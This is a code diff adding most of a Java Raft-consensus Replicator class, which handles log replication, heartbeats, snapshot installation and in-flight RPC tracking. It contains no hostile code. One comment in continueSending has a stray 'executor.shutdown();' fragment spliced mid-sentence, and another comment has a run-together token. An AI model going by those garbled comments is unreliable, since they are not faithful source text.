+            rb.setPeerId(this.options.getPeerId().toString());
+            rb.setMeta(meta);
+            rb.setUri(uri);
+
+            this.statInfo.runningState = RunningState.INSTALLING_SNAPSHOT;
+            this.statInfo.lastLogIncluded = meta.getLastIncludedIndex();
+            this.statInfo.lastTermIncluded = meta.getLastIncludedTerm();
+
+            final InstallSnapshotRequest request = rb.build();
+            this.state = State.Snapshot;
+            // noinspection NonAtomicOperationOnVolatileField
+            this.installSnapshotCounter++;
+            final long monotonicSendTimeMs = Utils.monotonicMs();
+            final int stateVersion = this.version;
+            final int seq = getAndIncrementReqSeq();
+            final Future<Message> rpcFuture = this.rpcService.installSnapshot(this.options.getPeerId().getEndpoint(),
+                request, new RpcResponseClosureAdapter<InstallSnapshotResponse>() {
+
+                    @Override
+                    public void run(final Status status) {
+                        onRpcReturned(Replicator.this.id, RequestType.Snapshot, status, request, getResponse(), seq,
+                            stateVersion, monotonicSendTimeMs);
+                    }
+                });
+            addInflight(RequestType.Snapshot, this.nextIndex, 0, 0, seq, rpcFuture);
+        } finally {
+            if (doUnlock) {
+                this.id.unlock();
+            }
+        }
+    }
+
+    @SuppressWarnings("unused")
+    static boolean onInstallSnapshotReturned(final ThreadId id, final Replicator r, final Status status,
+                                             final InstallSnapshotRequest request,
+                                             final InstallSnapshotResponse response) {
+        boolean success = true;
+        r.releaseReader();
+        // noinspection ConstantConditions
+        do {
+            final StringBuilder sb = new StringBuilder("Node "). //
+                append(r.options.getGroupId()).append(":").append(r.options.getServerId()). //
+                append(" received InstallSnapshotResponse from ").append(r.options.getPeerId()). //
+                append(" lastIncludedIndex=").append(request.getMeta().getLastIncludedIndex()). //
+                append(" lastIncludedTerm=").append(request.getMeta().getLastIncludedTerm());
+            if (!status.isOk()) {
+                sb.append(" error:").append(status);
+                LOG.info(sb.toString());
+                notifyReplicatorStatusListener(r, ReplicatorEvent.ERROR, status);
+                if (++r.consecutiveErrorTimes % 10 == 0) {
+                    LOG.warn("Fail to install snapshot at peer={}, error={}", r.options.getPeerId(), status);
+                }
+                success = false;
+                break;
+            }
+            if (!response.getSuccess()) {
+                sb.append(" success=false");
+                LOG.info(sb.toString());
+                success = false;
+                break;
+            }
+            // success
+            r.nextIndex = request.getMeta().getLastIncludedIndex() + 1;
+            sb.append(" success=true");
+            LOG.info(sb.toString());
+        } while (false);
+        // We don't retry installing the snapshot explicitly.
+        // id is unlock in sendEntries
+        if (!success) {
+            //should reset states
+            r.resetInflights();
+            r.state = State.Probe;
+            r.block(Utils.nowMs(), status.getCode());
+            return false;
+        }
+        r.hasSucceeded = true;
+        r.notifyOnCaughtUp(RaftError.SUCCESS.getNumber(), false);
+        if (r.timeoutNowIndex > 0 && r.timeoutNowIndex < r.nextIndex) {
+            r.sendTimeoutNow(false, false);
+        }
+        // id is unlock in _send_entriesheartbeatCounter
+        r.state = State.Replicate;
+        return true;
+    }
+
+    private void sendEmptyEntries(final boolean isHeartbeat) {
+        sendEmptyEntries(isHeartbeat, null);
+    }
+
+    /**
+     * Send probe or heartbeat request
+     * @param isHeartbeat      if current entries is heartbeat
+     * @param heartBeatClosure heartbeat callback
+     */
+    @SuppressWarnings("NonAtomicOperationOnVolatileField")
+    private void sendEmptyEntries(final boolean isHeartbeat,
+                                  final RpcResponseClosure<AppendEntriesResponse> heartBeatClosure) {
+        final AppendEntriesRequest.Builder rb = AppendEntriesRequest.newBuilder();
+        if (!fillCommonFields(rb, this.nextIndex - 1, isHeartbeat)) {
+            // id is unlock in installSnapshot
+            installSnapshot();
+            if (isHeartbeat && heartBeatClosure != null) {
+                Utils.runClosureInThread(heartBeatClosure, new Status(RaftError.EAGAIN,
+                    "Fail to send heartbeat to peer %s", this.options.getPeerId()));
+            }
+            return;
+        }
+        try {
+            final long monotonicSendTimeMs = Utils.monotonicMs();
+            final AppendEntriesRequest request = rb.build();
+
+            if (isHeartbeat) {
+                // Sending a heartbeat request
+                this.heartbeatCounter++;
+                RpcResponseClosure<AppendEntriesResponse> heartbeatDone;
+                // Prefer passed-in closure.
+                if (heartBeatClosure != null) {
+                    heartbeatDone = heartBeatClosure;
+                } else {
+                    heartbeatDone = new RpcResponseClosureAdapter<AppendEntriesResponse>() {
+
+                        @Override
+                        public void run(final Status status) {
+                            onHeartbeatReturned(Replicator.this.id, status, request, getResponse(), monotonicSendTimeMs);
+                        }
+                    };
+                }
+                this.heartbeatInFly = this.rpcService.appendEntries(this.options.getPeerId().getEndpoint(), request,
+                    this.options.getElectionTimeoutMs() / 2, heartbeatDone);
+            } else {
+                // Sending a probe request.
+                this.statInfo.runningState = RunningState.APPENDING_ENTRIES;
+                this.statInfo.firstLogIndex = this.nextIndex;
+                this.statInfo.lastLogIndex = this.nextIndex - 1;
+                this.appendEntriesCounter++;
+                this.state = State.Probe;
+                final int stateVersion = this.version;
+                final int seq = getAndIncrementReqSeq();
+                final Future<Message> rpcFuture = this.rpcService.appendEntries(this.options.getPeerId().getEndpoint(),
+                    request, -1, new RpcResponseClosureAdapter<AppendEntriesResponse>() {
+
+                        @Override
+                        public void run(final Status status) {
+                            onRpcReturned(Replicator.this.id, RequestType.AppendEntries, status, request,
+                                getResponse(), seq, stateVersion, monotonicSendTimeMs);
+                        }
+
+                    });
+
+                addInflight(RequestType.AppendEntries, this.nextIndex, 0, 0, seq, rpcFuture);
+            }
+            LOG.debug("Node {} send HeartbeatRequest to {} term {} lastCommittedIndex {}", this.options.getNode()
+                .getNodeId(), this.options.getPeerId(), this.options.getTerm(), request.getCommittedIndex());
+        } finally {
+            this.id.unlock();
+        }
+    }
+
+    boolean prepareEntry(final long nextSendingIndex, final int offset, final RaftOutter.EntryMeta.Builder emb,
+                         final RecyclableByteBufferList dateBuffer) {
+        if (dateBuffer.getCapacity() >= this.raftOptions.getMaxBodySize()) {
+            return false;
+        }
+        final long logIndex = nextSendingIndex + offset;
+        final LogEntry entry = this.options.getLogManager().getEntry(logIndex);
+        if (entry == null) {
+            return false;
+        }
+        emb.setTerm(entry.getId().getTerm());
+        if (entry.hasChecksum()) {
+            emb.setChecksum(entry.getChecksum()); //since 1.2.6
+        }
+        emb.setType(entry.getType());
+        if (entry.getPeers() != null) {
+            Requires.requireTrue(!entry.getPeers().isEmpty(), "Empty peers at logIndex=%d", logIndex);
+            for (final PeerId peer : entry.getPeers()) {
+                emb.addPeers(peer.toString());
+            }
+            if (entry.getOldPeers() != null) {
+                for (final PeerId peer : entry.getOldPeers()) {
+                    emb.addOldPeers(peer.toString());
+                }
+            }
+        } else {
+            Requires.requireTrue(entry.getType() != EnumOutter.EntryType.ENTRY_TYPE_CONFIGURATION,
+                "Empty peers but is ENTRY_TYPE_CONFIGURATION type at logIndex=%d", logIndex);
+        }
+        final int remaining = entry.getData() != null ? entry.getData().remaining() : 0;
+        emb.setDataLen(remaining);
+        if (entry.getData() != null) {
+            // should slice entry data
+            dateBuffer.add(entry.getData().slice());
+        }
+        return true;
+    }
+
+    public static ThreadId start(final ReplicatorOptions opts, final RaftOptions raftOptions) {
+        if (opts.getLogManager() == null || opts.getBallotBox() == null || opts.getNode() == null) {
+            throw new IllegalArgumentException("Invalid ReplicatorOptions.");
+        }
+        final Replicator r = new Replicator(opts, raftOptions);
+        if (!r.rpcService.connect(opts.getPeerId().getEndpoint())) {
+            LOG.error("Fail to init sending channel to {}.", opts.getPeerId());
+            // Return and it will be retried later.
+            return null;
+        }
+
+        // Register replicator metric set.
+        final MetricRegistry metricRegistry = opts.getNode().getNodeMetrics().getMetricRegistry();
+        if (metricRegistry != null) {
+            try {
+                final String replicatorMetricName = getReplicatorMetricName(opts);
+                if (!metricRegistry.getNames().contains(replicatorMetricName)) {
+                    metricRegistry.register(replicatorMetricName, new ReplicatorMetricSet(opts, r));
+                }
+            } catch (final IllegalArgumentException e) {
+                // ignore
+            }
+        }
+
+        // Start replication
+        r.id = new ThreadId(r, r);
+        r.id.lock();
+        notifyReplicatorStatusListener(r, ReplicatorEvent.CREATED);
+        LOG.info("Replicator={}@{} is started", r.id, r.options.getPeerId());
+        r.catchUpClosure = null;
+        r.lastRpcSendTimestamp = Utils.monotonicMs();
+        r.startHeartbeatTimer(Utils.nowMs());
+        // id.unlock in sendEmptyEntries
+        r.sendEmptyEntries(false);
+        return r.id;
+    }
+
+    private static String getReplicatorMetricName(final ReplicatorOptions opts) {
+        return "replicator-" + opts.getNode().getGroupId() + "/" + opts.getPeerId();
+    }
+
+    public static void waitForCaughtUp(final ThreadId id, final long maxMargin, final long dueTime,
+                                       final CatchUpClosure done) {
+        final Replicator r = (Replicator) id.lock();
+
+        if (r == null) {
+            Utils.runClosureInThread(done, new Status(RaftError.EINVAL, "No such replicator"));
+            return;
+        }
+        try {
+            if (r.catchUpClosure != null) {
+                LOG.error("Previous wait_for_caught_up is not over");
+                Utils.runClosureInThread(done, new Status(RaftError.EINVAL, "Duplicated call"));
+                return;
+            }
+            done.setMaxMargin(maxMargin);
+            if (dueTime > 0) {
+                done.setTimer(r.timerManager.schedule(() -> onCatchUpTimedOut(id), dueTime - Utils.nowMs(),
+                    TimeUnit.MILLISECONDS));
+            }
+            r.catchUpClosure = done;
+        } finally {
+            id.unlock();
+        }
+    }
+
+    @Override
+    public String toString() {
+        return "Replicator [state=" + this.state + ", statInfo=" + this.statInfo + ",peerId="
+               + this.options.getPeerId() + "]";
+    }
+
+    static void onBlockTimeoutInNewThread(final ThreadId id) {
+        if (id != null) {
+            continueSending(id, RaftError.ETIMEDOUT.getNumber());
+        }
+    }
+
+    /**
+     * Unblock and continue sending right now.
+     */
+    static void unBlockAndSendNow(final ThreadId id) {
+        if (id == null) {
+            // It was destroyed already
+            return;
+        }
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return;
+        }
+        try {
+            if (r.blockTimer != null) {
+                if (r.blockTimer.cancel(true)) {
+                    onBlockTimeout(id);
+                }
+            }
+        } finally {
+            id.unlock();
+        }
+    }
+
+    static boolean continueSending(final ThreadId id, final int errCode) {
+        if (id == null) {
+            //It was destroyed already
+            return true;
+        }
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return false;
+        }
+        r.waitId = -1;
+        if (errCode == RaftError.ETIMEDOUT.getNumber()) {
+            // Send empty entries after block timeout to check the correct
+            // _next_index otherwise the replicator is likely waits in            executor.shutdown();
+            // _wait_more_entries and no further logs would be replicated even if the
+            // last_index of this followers is less than |next_index - 1|
+            r.sendEmptyEntries(false);
+        } else if (errCode != RaftError.ESTOP.getNumber()) {
+            // id is unlock in _send_entries
+            r.sendEntries();
+        } else {
+            LOG.warn("Replicator {} stops sending entries.", id);
+            id.unlock();
+        }
+        return true;
+    }
+
+    static void onBlockTimeout(final ThreadId arg) {
+        Utils.runInThread(() -> onBlockTimeoutInNewThread(arg));
+    }
+
+    void block(final long startTimeMs, @SuppressWarnings("unused") final int errorCode) {
+        // TODO: Currently we don't care about error_code which indicates why the
+        // very RPC fails. To make it better there should be different timeout for
+        // each individual error (e.g. we don't need check every
+        // heartbeat_timeout_ms whether a dead follower has come back), but it's just
+        // fine now.
+        final long dueTime = startTimeMs + this.options.getDynamicHeartBeatTimeoutMs();
+        try {
+            LOG.debug("Blocking {} for {} ms", this.options.getPeerId(), this.options.getDynamicHeartBeatTimeoutMs());
+            this.blockTimer = this.timerManager.schedule(() -> onBlockTimeout(this.id), dueTime - Utils.nowMs(),
+                TimeUnit.MILLISECONDS);
+            this.statInfo.runningState = RunningState.BLOCKING;
+            this.id.unlock();
+        } catch (final Exception e) {
+            LOG.error("Fail to add timer", e);
+            // id unlock in sendEmptyEntries.
+            sendEmptyEntries(false);
+        }
+    }
+
+    @Override
+    public void onError(final ThreadId id, final Object data, final int errorCode) {
+        final Replicator r = (Replicator) data;
+        if (errorCode == RaftError.ESTOP.getNumber()) {
+            try {
+                for (final Inflight inflight : r.inflights) {
+                    if (inflight != r.rpcInFly) {
+                        inflight.rpcFuture.cancel(true);
+                    }
+                }
+                if (r.rpcInFly != null) {
+                    r.rpcInFly.rpcFuture.cancel(true);
+                    r.rpcInFly = null;
+                }
+                if (r.heartbeatInFly != null) {
+                    r.heartbeatInFly.cancel(true);
+                    r.heartbeatInFly = null;
+                }
+                if (r.timeoutNowInFly != null) {
+                    r.timeoutNowInFly.cancel(true);
+                    r.timeoutNowInFly = null;
+                }
+                if (r.heartbeatTimer != null) {
+                    r.heartbeatTimer.cancel(true);
+                    r.heartbeatTimer = null;
+                }
+                if (r.blockTimer != null) {
+                    r.blockTimer.cancel(true);
+                    r.blockTimer = null;
+                }
+                if (r.waitId >= 0) {
+                    r.options.getLogManager().removeWaiter(r.waitId);
+                }
+                r.notifyOnCaughtUp(errorCode, true);
+            } finally {
+                r.destroy();
+            }
+        } else if (errorCode == RaftError.ETIMEDOUT.getNumber()) {
+            id.unlock();
+            Utils.runInThread(() -> sendHeartbeat(id));
+        } else {
+            id.unlock();
+            // noinspection ConstantConditions
+            Requires.requireTrue(false, "Unknown error code for replicator: " + errorCode);
+        }
+    }
+
+    private static void onCatchUpTimedOut(final ThreadId id) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return;
+        }
+        try {
+            r.notifyOnCaughtUp(RaftError.ETIMEDOUT.getNumber(), false);
+        } finally {
+            id.unlock();
+        }
+    }
+
+    private void notifyOnCaughtUp(final int code, final boolean beforeDestroy) {
+        if (this.catchUpClosure == null) {
+            return;
+        }
+        if (code != RaftError.ETIMEDOUT.getNumber()) {
+            if (this.nextIndex - 1 + this.catchUpClosure.getMaxMargin() < this.options.getLogManager()
+                .getLastLogIndex()) {
+                return;
+            }
+            if (this.catchUpClosure.isErrorWasSet()) {
+                return;
+            }
+            this.catchUpClosure.setErrorWasSet(true);
+            if (code != RaftError.SUCCESS.getNumber()) {
+                this.catchUpClosure.getStatus().setError(code, RaftError.describeCode(code));
+            }
+            if (this.catchUpClosure.hasTimer()) {
+                if (!beforeDestroy && !this.catchUpClosure.getTimer().cancel(true)) {
+                    // There's running timer task, let timer task trigger
+                    // on_caught_up to void ABA problem
+                    return;
+                }
+            }
+        } else {
+            // timed out
+            if (!this.catchUpClosure.isErrorWasSet()) {
+                this.catchUpClosure.getStatus().setError(code, RaftError.describeCode(code));
+            }
+        }
+        final CatchUpClosure savedClosure = this.catchUpClosure;
+        this.catchUpClosure = null;
+        Utils.runClosureInThread(savedClosure, savedClosure.getStatus());
+    }
+
+    private static void onTimeout(final ThreadId id) {
+        if (id != null) {
+            id.setError(RaftError.ETIMEDOUT.getNumber());
+        } else {
+            LOG.warn("Replicator id is null when timeout, maybe it's destroyed.");
+        }
+    }
+
+    void destroy() {
+        final ThreadId savedId = this.id;
+        LOG.info("Replicator {} is going to quit", savedId);
+        this.id = null;
+        releaseReader();
+        // Unregister replicator metric set
+        if (this.options.getNode().getNodeMetrics().isEnabled()) {
+            this.options.getNode().getNodeMetrics().getMetricRegistry().remove(getReplicatorMetricName(this.options));
+        }
+        this.state = State.Destroyed;
+        notifyReplicatorStatusListener((Replicator) savedId.getData(), ReplicatorEvent.DESTROYED);
+        savedId.unlockAndDestroy();
+    }
+
+    private void releaseReader() {
+        if (this.reader != null) {
+            Utils.closeQuietly(this.reader);
+            this.reader = null;
+        }
+    }
+
+    static void onHeartbeatReturned(final ThreadId id, final Status status, final AppendEntriesRequest request,
+                                    final AppendEntriesResponse response, final long rpcSendTime) {
+        if (id == null) {
+            // replicator already was destroyed.
+            return;
+        }
+        final long startTimeMs = Utils.nowMs();
+        Replicator r;
+        if ((r = (Replicator) id.lock()) == null) {
+            return;
+        }
+        boolean doUnlock = true;
+        try {
+            final boolean isLogDebugEnabled = LOG.isDebugEnabled();
+            StringBuilder sb = null;
+            if (isLogDebugEnabled) {
+                sb = new StringBuilder("Node "). //
+                    append(r.options.getGroupId()).append(":").append(r.options.getServerId()). //
+                    append(" received HeartbeatResponse from "). //
+                    append(r.options.getPeerId()). //
+                    append(" prevLogIndex=").append(request.getPrevLogIndex()). //
+                    append(" prevLogTerm=").append(request.getPrevLogTerm());
+            }
+            if (!status.isOk()) {
+                if (isLogDebugEnabled) {
+                    sb.append(" fail, sleep.");
+                    LOG.debug(sb.toString());
+                }
+                r.state = State.Probe;
+                notifyReplicatorStatusListener(r, ReplicatorEvent.ERROR, status);
+                if (++r.consecutiveErrorTimes % 10 == 0) {
+                    LOG.warn("Fail to issue RPC to {}, consecutiveErrorTimes={}, error={}", r.options.getPeerId(),
+                        r.consecutiveErrorTimes, status);
+                }
+                r.startHeartbeatTimer(startTimeMs);
+                return;
+            }
+            r.consecutiveErrorTimes = 0;
+            if (response.getTerm() > r.options.getTerm()) {
+                if (isLogDebugEnabled) {
+                    sb.append(" fail, greater term ").append(response.getTerm()).append(" expect term ")
+                        .append(r.options.getTerm());
+                    LOG.debug(sb.toString());
+                }
+                final NodeImpl node = r.options.getNode();
+                r.notifyOnCaughtUp(RaftError.EPERM.getNumber(), true);
+                r.destroy();
+                node.increaseTermTo(response.getTerm(), new Status(RaftError.EHIGHERTERMRESPONSE,
+                    "Leader receives higher term heartbeat_response from peer:%s", r.options.getPeerId()));
+                return;
+            }
+            if (!response.getSuccess() && response.hasLastLogIndex()) {
+                if (isLogDebugEnabled) {
+                    sb.append(" fail, response term ").append(response.getTerm()).append(" lastLogIndex ")
+                        .append(response.getLastLogIndex());
+                    LOG.debug(sb.toString());
+                }
+                LOG.warn("Heartbeat to peer {} failure, try to send a probe request.", r.options.getPeerId());
+                doUnlock = false;
+                r.sendEmptyEntries(false);
+                r.startHeartbeatTimer(startTimeMs);
+                return;
+            }
+            if (isLogDebugEnabled) {
+                LOG.debug(sb.toString());
+            }
+            if (rpcSendTime > r.lastRpcSendTimestamp) {
+                r.lastRpcSendTimestamp = rpcSendTime;
+            }
+            r.startHeartbeatTimer(startTimeMs);
+        } finally {
+            if (doUnlock) {
+                id.unlock();
+            }
+        }
+    }
+
+    @SuppressWarnings("ContinueOrBreakFromFinallyBlock")
+    static void onRpcReturned(final ThreadId id, final RequestType reqType, final Status status, final Message request,
+                              final Message response, final int seq, final int stateVersion, final long rpcSendTime) {
+        if (id == null) {
+            return;
+        }
+        final long startTimeMs = Utils.nowMs();
+        Replicator r;
+        if ((r = (Replicator) id.lock()) == null) {
+            return;
+        }
+
+        if (stateVersion != r.version) {
+            LOG.debug(
+                "Replicator {} ignored old version response {}, current version is {}, request is {}\n, and response is {}\n, status is {}.",
+                r, stateVersion, r.version, request, response, status);
+            id.unlock();
+            return;
+        }
+
+        final PriorityQueue<RpcResponse> holdingQueue = r.pendingResponses;
+        holdingQueue.add(new RpcResponse(reqType, seq, status, request, response, rpcSendTime));
+
+        if (holdingQueue.size() > r.raftOptions.getMaxReplicatorInflightMsgs()) {
+            LOG.warn("Too many pending responses {} for replicator {}, maxReplicatorInflightMsgs={}",
+                holdingQueue.size(), r.options.getPeerId(), r.raftOptions.getMaxReplicatorInflightMsgs());
+            r.resetInflights();
+            r.state = State.Probe;
+            r.sendEmptyEntries(false);
+            return;
+        }
+
+        boolean continueSendEntries = false;
+
+        final boolean isLogDebugEnabled = LOG.isDebugEnabled();
+        StringBuilder sb = null;
+        if (isLogDebugEnabled) {
+            sb = new StringBuilder("Replicator ").append(r).append(" is processing RPC responses,");
+        }
+        try {
+            int processed = 0;
+            while (!holdingQueue.isEmpty()) {
+                final RpcResponse queuedPipelinedResponse = holdingQueue.peek();
+
+                // Sequence mismatch, waiting for next response.
+                if (queuedPipelinedResponse.seq != r.requiredNextSeq) {
+                    if (processed > 0) {
+                        if (isLogDebugEnabled) {
+                            sb.append("has processed ").append(processed).append(" responses,");
+                        }
+                        break;
+                    } else {
+                        // Do not processed any responses, UNLOCK id and return.
+                        continueSendEntries = false;
+                        id.unlock();
+                        return;
+                    }
+                }
+                holdingQueue.remove();
+                processed++;
+                final Inflight inflight = r.pollInflight();
+                if (inflight == null) {
+                    // The previous in-flight requests were cleared.
+                    if (isLogDebugEnabled) {
+                        sb.append("ignore response because request not found:").append(queuedPipelinedResponse)
+                            .append(",\n");
+                    }
+                    continue;
+                }
+                if (inflight.seq != queuedPipelinedResponse.seq) {
+                    // reset state
+                    LOG.warn(
+                        "Replicator {} response sequence out of order, expect {}, but it is {}, reset state to try again.",
+                        r, inflight.seq, queuedPipelinedResponse.seq);
+                    r.resetInflights();
+                    r.state = State.Probe;
+                    continueSendEntries = false;
+                    r.block(Utils.nowMs(), RaftError.EREQUEST.getNumber());
+                    return;
+                }
+                try {
+                    switch (queuedPipelinedResponse.requestType) {
+                        case AppendEntries:
+                            continueSendEntries = onAppendEntriesReturned(id, inflight, queuedPipelinedResponse.status,
+                                (AppendEntriesRequest) queuedPipelinedResponse.request,
+                                (AppendEntriesResponse) queuedPipelinedResponse.response, rpcSendTime, startTimeMs, r);
+                            break;
+                        case Snapshot:
+                            continueSendEntries = onInstallSnapshotReturned(id, r, queuedPipelinedResponse.status,
+                                (InstallSnapshotRequest) queuedPipelinedResponse.request,
+                                (InstallSnapshotResponse) queuedPipelinedResponse.response);
+                            break;
+                    }
+                } finally {
+                    if (continueSendEntries) {
+                        // Success, increase the response sequence.
+                        r.getAndIncrementRequiredNextSeq();
+                    } else {
+                        // The id is already unlocked in onAppendEntriesReturned/onInstallSnapshotReturned, we SHOULD break out.
+                        break;
+                    }
+                }
+            }
+        } finally {
+            if (isLogDebugEnabled) {
+                sb.append(", after processed, continue to send entries: ").append(continueSendEntries);
+                LOG.debug(sb.toString());
+            }
+            if (continueSendEntries) {
+                // unlock in sendEntries.
+                r.sendEntries();
+            }
+        }
+    }
+
+    /**
+     * Reset in-flight state.
+     */
+    void resetInflights() {
+        this.version++;
+        this.inflights.clear();
+        this.pendingResponses.clear();
+        final int rs = Math.max(this.reqSeq, this.requiredNextSeq);
+        this.reqSeq = this.requiredNextSeq = rs;
+        releaseReader();
+    }
+
+    private static boolean onAppendEntriesReturned(final ThreadId id, final Inflight inflight, final Status status,
+                                                   final AppendEntriesRequest request,
+                                                   final AppendEntriesResponse response, final long rpcSendTime,
+                                                   final long startTimeMs, final Replicator r) {
+        if (inflight.startIndex != request.getPrevLogIndex() + 1) {
+            LOG.warn(
+                "Replicator {} received invalid AppendEntriesResponse, in-flight startIndex={}, request prevLogIndex={}, reset the replicator state and probe again.",
+                r, inflight.startIndex, request.getPrevLogIndex());
+            r.resetInflights();
+            r.state = State.Probe;
+            // unlock id in sendEmptyEntries
+            r.sendEmptyEntries(false);
+            return false;
+        }
+        // record metrics
+        if (request.getEntriesCount() > 0) {
+            r.nodeMetrics.recordLatency("replicate-entries", Utils.monotonicMs() - rpcSendTime);
+            r.nodeMetrics.recordSize("replicate-entries-count", request.getEntriesCount());
+            r.nodeMetrics.recordSize("replicate-entries-bytes", request.getData() != null ? request.getData().size()
+                : 0);
+        }
+
+        final boolean isLogDebugEnabled = LOG.isDebugEnabled();
+        StringBuilder sb = null;
+        if (isLogDebugEnabled) {
+            sb = new StringBuilder("Node "). //
+                append(r.options.getGroupId()).append(":").append(r.options.getServerId()). //
+                append(" received AppendEntriesResponse from "). //
+                append(r.options.getPeerId()). //
+                append(" prevLogIndex=").append(request.getPrevLogIndex()). //
+                append(" prevLogTerm=").append(request.getPrevLogTerm()). //
+                append(" count=").append(request.getEntriesCount());
+        }
+        if (!status.isOk()) {
+            // If the follower crashes, any RPC to the follower fails immediately,
+            // so we need to block the follower for a while instead of looping until
+            // it comes back or be removed
+            // dummy_id is unlock in block
+            if (isLogDebugEnabled) {
+                sb.append(" fail, sleep.");
+                LOG.debug(sb.toString());
+            }
+            notifyReplicatorStatusListener(r, ReplicatorEvent.ERROR, status);
+            if (++r.consecutiveErrorTimes % 10 == 0) {
+                LOG.warn("Fail to issue RPC to {}, consecutiveErrorTimes={}, error={}", r.options.getPeerId(),
+                    r.consecutiveErrorTimes, status);
+            }
+            r.resetInflights();
+            r.state = State.Probe;
+            // unlock in in block
+            r.block(startTimeMs, status.getCode());
+            return false;
+        }
+        r.consecutiveErrorTimes = 0;
+        if (!response.getSuccess()) {
+            if (response.getTerm() > r.options.getTerm()) {
+                if (isLogDebugEnabled) {
+                    sb.append(" fail, greater term ").append(response.getTerm()).append(" expect term ")
+                        .append(r.options.getTerm());
+                    LOG.debug(sb.toString());
+                }
+                final NodeImpl node = r.options.getNode();
+                r.notifyOnCaughtUp(RaftError.EPERM.getNumber(), true);
+                r.destroy();
+                node.increaseTermTo(response.getTerm(), new Status(RaftError.EHIGHERTERMRESPONSE,
+                    "Leader receives higher term heartbeat_response from peer:%s", r.options.getPeerId()));
+                return false;
+            }
+            if (isLogDebugEnabled) {
+                sb.append(" fail, find nextIndex remote lastLogIndex ").append(response.getLastLogIndex())
+                    .append(" local nextIndex ").append(r.nextIndex);
+                LOG.debug(sb.toString());
+            }
+            if (rpcSendTime > r.lastRpcSendTimestamp) {
+                r.lastRpcSendTimestamp = rpcSendTime;
+            }
+            // Fail, reset the state to try again from nextIndex.
+            r.resetInflights();
+            // prev_log_index and prev_log_term doesn't match
+            if (response.getLastLogIndex() + 1 < r.nextIndex) {
+                LOG.debug("LastLogIndex at peer={} is {}", r.options.getPeerId(), response.getLastLogIndex());
+                // The peer contains less logs than leader
+                r.nextIndex = response.getLastLogIndex() + 1;
+            } else {
+                // The peer contains logs from old term which should be truncated,
+                // decrease _last_log_at_peer by one to test the right index to keep
+                if (r.nextIndex > 1) {
+                    LOG.debug("logIndex={} dismatch", r.nextIndex);
+                    r.nextIndex--;
+                } else {
+                    LOG.error("Peer={} declares that log at index=0 doesn't match, which is not supposed to happen",
+                        r.options.getPeerId());
+                }
+            }
+            // dummy_id is unlock in _send_heartbeat
+            r.sendEmptyEntries(false);
+            return false;
+        }
+        if (isLogDebugEnabled) {
+            sb.append(", success");
+            LOG.debug(sb.toString());
+        }
+        // success
+        if (response.getTerm() != r.options.getTerm()) {
+            r.resetInflights();
+            r.state = State.Probe;
+            LOG.error("Fail, response term {} dismatch, expect term {}", response.getTerm(), r.options.getTerm());
+            id.unlock();
+            return false;
+        }
+        if (rpcSendTime > r.lastRpcSendTimestamp) {
+            r.lastRpcSendTimestamp = rpcSendTime;
+        }
+        final int entriesSize = request.getEntriesCount();
+        if (entriesSize > 0) {
+            r.options.getBallotBox().commitAt(r.nextIndex, r.nextIndex + entriesSize - 1, r.options.getPeerId());
+            if (LOG.isDebugEnabled()) {
+                LOG.debug("Replicated logs in [{}, {}] to peer {}", r.nextIndex, r.nextIndex + entriesSize - 1,
+                    r.options.getPeerId());
+            }
+        } else {
+            // The request is probe request, change the state into Replicate.
+            r.state = State.Replicate;
+        }
+        r.nextIndex += entriesSize;
+        r.hasSucceeded = true;
+        r.notifyOnCaughtUp(RaftError.SUCCESS.getNumber(), false);
+        // dummy_id is unlock in _send_entries
+        if (r.timeoutNowIndex > 0 && r.timeoutNowIndex < r.nextIndex) {
+            r.sendTimeoutNow(false, false);
+        }
+        return true;
+    }
+
+    private boolean fillCommonFields(final AppendEntriesRequest.Builder rb, long prevLogIndex, final boolean isHeartbeat) {
+        final long prevLogTerm = this.options.getLogManager().getTerm(prevLogIndex);
+        if (prevLogTerm == 0 && prevLogIndex != 0) {
+            if (!isHeartbeat) {
+                Requires.requireTrue(prevLogIndex < this.options.getLogManager().getFirstLogIndex());
+                LOG.debug("logIndex={} was compacted", prevLogIndex);
+                return false;
+            } else {
+                // The log at prev_log_index has been compacted, which indicates
+                // we is or is going to install snapshot to the follower. So we let
+                // both prev_log_index and prev_log_term be 0 in the heartbeat
+                // request so that follower would do nothing besides updating its
+                // leader timestamp.
+                prevLogIndex = 0;
+            }
+        }
+        rb.setTerm(this.options.getTerm());
+        rb.setGroupId(this.options.getGroupId());
+        rb.setServerId(this.options.getServerId().toString());
+        rb.setPeerId(this.options.getPeerId().toString());
+        rb.setPrevLogIndex(prevLogIndex);
+        rb.setPrevLogTerm(prevLogTerm);
+        rb.setCommittedIndex(this.options.getBallotBox().getLastCommittedIndex());
+        return true;
+    }
+
+    private void waitMoreEntries(final long nextWaitIndex) {
+        try {
+            LOG.debug("Node {} waits more entries", this.options.getNode().getNodeId());
+            if (this.waitId >= 0) {
+                return;
+            }
+            this.waitId = this.options.getLogManager().wait(nextWaitIndex - 1,
+                (arg, errorCode) -> continueSending((ThreadId) arg, errorCode), this.id);
+            this.statInfo.runningState = RunningState.IDLE;
+        } finally {
+            this.id.unlock();
+        }
+    }
+
+    /**
+     * Send as many requests as possible.
+     */
+    void sendEntries() {
+        boolean doUnlock = true;
+        try {
+            long prevSendIndex = -1;
+            while (true) {
+                final long nextSendingIndex = getNextSendIndex();
+                if (nextSendingIndex > prevSendIndex) {
+                    if (sendEntries(nextSendingIndex)) {
+                        prevSendIndex = nextSendingIndex;
+                    } else {
+                        doUnlock = false;
+                        // id already unlock in sendEntries when it returns false.
+                        break;
+                    }
+                } else {
+                    break;
+                }
+            }
+        } finally {
+            if (doUnlock) {
+                this.id.unlock();
+            }
+        }
+
+    }
+
+    /**
+     * Send log entries to follower, returns true when success, otherwise false and unlock the id.
+     *
+     * @param nextSendingIndex next sending index
+     * @return send result.
+     */
+    private boolean sendEntries(final long nextSendingIndex) {
+        final AppendEntriesRequest.Builder rb = AppendEntriesRequest.newBuilder();
+        if (!fillCommonFields(rb, nextSendingIndex - 1, false)) {
+            // unlock id in installSnapshot
+            installSnapshot();
+            return false;
+        }
+
+        ByteBufferCollector dataBuf = null;
+        final int maxEntriesSize = this.raftOptions.getMaxEntriesSize();
+        final RecyclableByteBufferList byteBufList = RecyclableByteBufferList.newInstance();
+        try {
+            for (int i = 0; i < maxEntriesSize; i++) {
+                final RaftOutter.EntryMeta.Builder emb = RaftOutter.EntryMeta.newBuilder();
+                if (!prepareEntry(nextSendingIndex, i, emb, byteBufList)) {
+                    break;
